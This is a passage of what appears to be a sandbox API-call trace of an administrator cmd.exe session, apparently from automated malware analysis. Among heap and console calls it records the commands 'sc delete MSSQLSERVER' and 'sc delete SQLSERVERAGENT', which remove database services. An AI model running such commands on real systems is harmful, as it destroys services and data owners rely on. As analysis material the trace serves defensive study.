lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0069.046] GetProcessHeap () returned 0x4a0000 [0069.046] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.047] GetProcessHeap () returned 0x4a0000 [0069.047] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.047] GetProcessHeap () returned 0x4a0000 [0069.047] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0069.047] GetProcessHeap () returned 0x4a0000 [0069.047] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.047] GetProcessHeap () returned 0x4a0000 [0069.047] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0069.047] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.047] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.047] GetFileType (hFile=0x120) returned 0x3 [0069.047] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.047] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.047] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.047] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.047] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.047] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.047] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.047] GetFileType (hFile=0x120) returned 0x3 [0069.048] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.048] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.048] GetFileType (hFile=0xb8) returned 0x3 [0069.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLSERVER\nher\nce\n") returned 1 [0069.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLSERVER\nher\nce\n") returned 1 [0069.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLSERVER\nher\nce\n") returned 1 [0069.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLSERVER\nher\nce\n") returned 1 [0069.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLSERVER\nher\nce\n") returned 1 [0069.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLSERVER\nher\nce\n") returned 1 [0069.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLSERVER\nher\nce\n") returned 1 [0069.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLSERVER\nher\nce\n") returned 1 [0069.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLSERVER\nher\nce\n") returned 1 [0069.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLSERVER\nher\nce\n") returned 1 [0069.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SSSQLSERVER\nher\nce\n") returned 1 [0069.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="QSQLSERVER\nher\nce\n") returned 1 [0069.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="LQLSERVER\nher\nce\n") returned 1 [0069.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SLSERVER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.051] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.051] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="ESERVER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.051] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.051] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="RERVER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.051] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.051] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="VRVER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.051] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.051] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="EVER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.051] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.051] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="RER\nher\nce\n") returned 1 [0069.051] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.051] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.052] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="AR\nher\nce\n") returned 1 [0069.052] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.052] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.052] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="G\nher\nce\n") returned 1 [0069.052] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.052] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.052] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="Eher\nce\n") returned 1 [0069.052] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.052] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.052] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="Ner\nce\n") returned 1 [0069.052] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.052] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.052] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.052] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="Tr\nce\n") returned 1 [0069.052] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.052] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.053] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.053] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0069.053] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.053] GetFileType (hFile=0xb8) returned 0x3 [0069.053] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.053] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.053] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.053] GetFileType (hFile=0x120) returned 0x3 [0069.053] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLSERVERAGENT\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLSERVERAGENT\n", lpUsedDefaultChar=0x0) returned 26 [0069.053] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x19, lpOverlapped=0x0) returned 1 [0069.053] GetProcessHeap () returned 0x4a0000 [0069.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c4630 [0069.053] GetProcessHeap () returned 0x4a0000 [0069.053] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4630 | out: hHeap=0x4a0000) returned 1 [0069.053] GetProcessHeap () returned 0x4a0000 [0069.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0069.053] GetProcessHeap () returned 0x4a0000 [0069.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.054] GetProcessHeap () returned 0x4a0000 [0069.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0069.054] GetConsoleOutputCP () returned 0x1b5 [0069.055] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.055] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.055] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.055] GetProcessHeap () returned 0x4a0000 [0069.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.055] GetProcessHeap () returned 0x4a0000 [0069.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa90 [0069.055] GetProcessHeap () returned 0x4a0000 [0069.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0069.055] SetErrorMode (uMode=0x0) returned 0x1 [0069.055] SetErrorMode (uMode=0x1) returned 0x0 [0069.055] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.056] SetErrorMode (uMode=0x1) returned 0x1 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0069.056] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.056] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.056] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.056] GetProcessHeap () returned 0x4a0000 [0069.056] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.056] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.056] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.057] GetLastError () returned 0x2 [0069.057] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 